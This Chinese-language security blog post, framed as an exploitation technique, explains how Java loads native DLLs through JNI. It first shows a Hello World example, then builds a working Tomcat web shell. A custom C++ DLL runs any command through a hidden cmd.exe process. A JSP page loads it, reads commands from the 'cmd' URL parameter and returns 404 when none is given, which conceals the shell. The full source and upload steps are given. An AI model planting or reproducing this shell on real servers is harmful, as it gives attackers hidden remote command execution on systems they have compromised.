Java利用技巧——通过JNI加载dll
Java利用技巧——通过JNI加载dll
08 Feb 2022
0x00 前言
Java可以通过JNI接口访问本地的动态连接库，从而扩展Java的功能。本文将以Tomcat环境为例，介绍通过jsp加载dll的方法，开源代码，记录细节。
0x01 简介
本文将要介绍以下内容：
- 基础知识
- Java通过JNI加载dll的方法
- jsp通过JNI加载dll的方法
0x02 基础知识
JNI，全称Java Native Interface，是Java语言的本地编程接口。可以用来调用dll文件
调用JNI接口的步骤：
- 编写Java代码，注明要访问的本地动态连接库和本地方法
- 编译Java代码得到.class文件
- 使用javah生成该类对应的.h文件
- 使用C++实现函数功能，编译生成dll
- 通过Java调用dll
0x03 Java通过JNI加载dll的方法
本节将要实现通过Java加载dll，在命令行输出"Hello World"
1.编写Java代码，注明要访问的本地动态连接库和本地方法
HelloWorld.java:
public class HelloWorld {
private native void print();
static
{
System.loadLibrary("Hello");
}
public static void main(String[] args) {
new HelloWorld().print();
}
}
注：
也可以使用System.load指定加载dll的绝对路径，代码示例：System.load("c:\\test\\Hello.dll");
上述代码注明了要访问本地的Hello.dll，调用本地方法print()
2.编译Java代码得到.class文件
cmd命令：
javac HelloWorld.java
命令执行后，生成文件HelloWorld.class
3.使用javah生成该类对应的.h文件
cmd命令：
javah -jni HelloWorld
命令执行后，生成文件HelloWorld.h
为了简化后续C++工程的配置，这里需要修改HelloWorld.h，将#include <jni.h>修改为#include "jni.h"，修改后的内容如下：
/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class HelloWorld */
#ifndef _Included_HelloWorld
#define _Included_HelloWorld
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: HelloWorld
* Method: print
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_HelloWorld_print
(JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
4.使用C++实现函数功能，编译生成dll
使用Visual Studio，新建一个C++项目Hello，选中win2控制台应用程序， 应用程序类型为DLL，附加选项：导出符号
修改dllmain.cpp或者Hello.cpp均可，具体代码如下：
#include"jni.h"
#include<stdio.h>
#include"HelloWorld.h"
JNIEXPORT void JNICALL
Java_HelloWorld_print(JNIEnv *env, jobject obj)
{
printf("Hello World!\n");
return;
}
项目需要引用以下三个文件：
- jni.h，位置为
%jdk%\include\jni.h - jni_md.h，位置为
%jdk%\include\win32\jni_md.h - HelloWorld.h，使用javah生成
编译生成dll
注：
测试环境为64位系统，所以选择生成64位的Hello.dll
5.通过Java调用dll
将Hello.dll和HelloWorld.class保存在同级目录，执行命令：
java HelloWorld
获得返回结果：
Hello World!
加载成功
0x04 jsp通过JNI加载dll的方法
本节将要实现在Tomcat环境下，通过访问jsp文件，执行cmd命令并获得命令执行结果
1.编写Java代码，注明要访问的本地动态连接库和本地方法
testtomcat_jsp.java:
package org.apache.jsp;
public class testtomcat_jsp
{
class JniClass
{
public native String exec( String string );
}
}
Tomcat环境下，需要以下限制条件：
- 固定包名格式为org.apache.jsp
- java文件名称需要固定格式：
***_jsp，并且后面的jsp文件名称需要同其保持一致。例如testtomcat_jsp.java，那么最终jsp的文件名称需要命名为testtomcat.jsp - 类名不需要限定为JniClass，可以任意
2.编译Java代码得到.class文件
cmd命令：
javac testtomcat_jsp.java
命令执行后，生成文件testtomcat_jsp.class和testtomcat_jsp$JniClass.class
3.使用javah生成该类对应的.h文件
将testtomcat_jsp$JniClass.class保存在\org\apache\jsp\下
cmd命令：
javah -jni org.apache.jsp.testtomcat_jsp$JniClass
命令执行后，生成文件org_apache_jsp_testtomcat_jsp_JniClass.h
为了简化后续C++工程的配置，这里需要修改org_apache_jsp_testtomcat_jsp_JniClass.h，将#include <jni.h>修改为#include "jni.h"，修改后的内容如下：
/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class org_apache_jsp_testtomcat_jsp_JniClass */
#ifndef _Included_org_apache_jsp_testtomcat_jsp_JniClass
#define _Included_org_apache_jsp_testtomcat_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: org_apache_jsp_testtomcat_jsp_JniClass
* Method: exec
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
4.使用C++实现函数功能，编译生成dll
使用Visual Studio，新建一个C++项目TestTomcat，选中win2控制台应用程序， 应用程序类型为DLL，附加选项：导出符号
修改dllmain.cpp或者TestTomcat.cpp均可，具体代码如下：
#include "jni.h"
#include "org_apache_jsp_testtomcat_jsp_JniClass.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment(lib, "User32.lib")
char *ExeCmd(WCHAR *pszCmd)
{
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return ("[!] CreatePipe failed.");
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
WCHAR command[MAX_PATH];
wsprintf(command, L"cmd.exe /c %ws", pszCmd);
if (!CreateProcess(NULL, command, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
return ("[!] CreateProcess failed.");
CloseHandle(hWrite);
char buffer[4096] = { 0 };
DWORD bytesRead;
char strText[32768] = { 0 };
while (true)
{
if (ReadFile(hRead, buffer, 4096 - 1, &bytesRead, NULL) == NULL)
break;
sprintf_s(strText, "%s\r\n%s", strText, buffer);
memset(buffer, 0, sizeof(buffer));
}
return strText;
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
WCHAR *command = (WCHAR*)env->GetStringChars(jstr, 0);
char *data = ExeCmd(command);
jstring cmdresult = (env)->NewStringUTF(data);
return cmdresult;
}
注：
代码JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)需要和头文件中的声明保持一致
项目需要引用以下三个文件：
- jni.h，位置为
%jdk%\include\jni.h - jni_md.h，位置为
%jdk%\include\win32\jni_md.h - org_apache_jsp_testtomcat_jsp_JniClass.h，使用javah生成
编译生成dll
注：
测试环境为64位系统，所以选择生成64位的TestTomcat.dll
5.通过jsp调用dll
向Tomcat上传TestTomcat.dll，在Web目录创建testtomcat.jsp，内容如下：
<%!
class JniClass {
public native String exec(String string);
public JniClass() {
System.load("c:\\test\\TestTomcat.dll");
}
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
JniClass a = new JniClass();
String res = a.exec(cmd);
out.println(res);
}
else{
response.sendError(404);
}
%>
注：
jsp文件名称需要同之前的java文件保持一致
访问URL:http://127.0.0.1:8080/testtomcat.jsp?cmd=whoami
获得命令执行结果，加载成功
0x05 小结
本文以Tomcat环境为例，介绍通过jsp加载dll的方法，开源代码，记录细节，能够扩展jsp的功能。
